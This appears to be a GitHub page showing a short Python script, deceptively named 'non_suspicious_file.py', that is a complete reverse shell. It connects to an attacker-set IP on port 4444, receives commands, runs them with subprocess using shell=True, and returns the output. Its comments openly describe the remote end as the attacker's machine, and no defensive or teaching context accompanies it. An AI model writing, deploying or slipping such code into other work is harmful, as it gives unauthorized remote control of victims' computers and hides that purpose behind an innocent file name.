-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnon_suspicious_file.py
46 lines (38 loc) · 1.49 KB
/
non_suspicious_file.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import subprocess
import os
SERVER_IP = "change me"
# change me
SERVER_PORT = 4444
# Function to create a shell connection
def shell_connection():
# Create a socket object and connect to the attacker's machine
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Connect to the server (attacker's machine)
client.connect((SERVER_IP, SERVER_PORT))
while True:
# Receive commands from the attacker
command = client.recv(1024).decode('utf-8')
if command.lower() == 'exit':
# If 'exit' is received, close the connection
client.send(b'Connection closed.\n')
break
elif command.startswith("cd "):
# Change directory if the command is 'cd'
try:
os.chdir(command.strip("cd ").strip())
client.send(b"Changed directory\n")
except FileNotFoundError as e:
client.send(f"Error: {e}\n".encode())
else:
# Execute the received command and send the output back
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
client.send(output)
except subprocess.CalledProcessError as e:
client.send(f"Error: {e.output}\n".encode())
except Exception as e:
print(f"Error: {e}")
finally:
client.close()